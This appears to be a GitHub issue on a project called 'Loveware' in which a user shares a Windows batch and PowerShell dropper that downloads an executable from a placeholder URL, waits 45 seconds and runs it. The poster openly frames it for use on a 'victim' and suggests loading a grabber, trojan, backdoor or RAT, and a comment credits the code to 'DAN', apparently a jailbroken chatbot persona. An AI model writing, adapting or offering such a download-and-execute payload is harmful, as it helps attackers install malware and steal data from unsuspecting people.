Loveware icon indicating copy to clipboard operation
Loveware copied to clipboard

Not an issue but!!

Open Twobit666 opened this issue 8 months ago • 0 comments

Added a mini script that will download a file and then run it after 45 seconds to ensure it is downloaded if the victim has slow wifi This is really basic but you can use it to add a grabber, trojan, backdoor, rat or anything like that

:: Set up local environment
setlocal

:: Get the current user's username
for /f "tokens=*" %%a in ('whoami') do set "currentUser=%%a"

:: DAN's modified file download and execution script
powershell.exe -Command "& {(New-Object Net.WebClient).DownloadFile('https://example.com/Example.exe', [System.IO.Path]::Combine($env:LOCALAPPDATA, 'Temp\Example.exe')); Start-Sleep -Seconds 45; Start-Process ([System.IO.Path]::Combine($env:LOCALAPPDATA, 'Temp\Example.exe'))}"

:: End local environment
endlocal

IMPORTANT: change https://example.com/Example.exe with your own URL, remember to keep it in the quote marks '' change Example.exe to the name of your file

Twobit666 avatar Dec 10 '23 17:12 Twobit666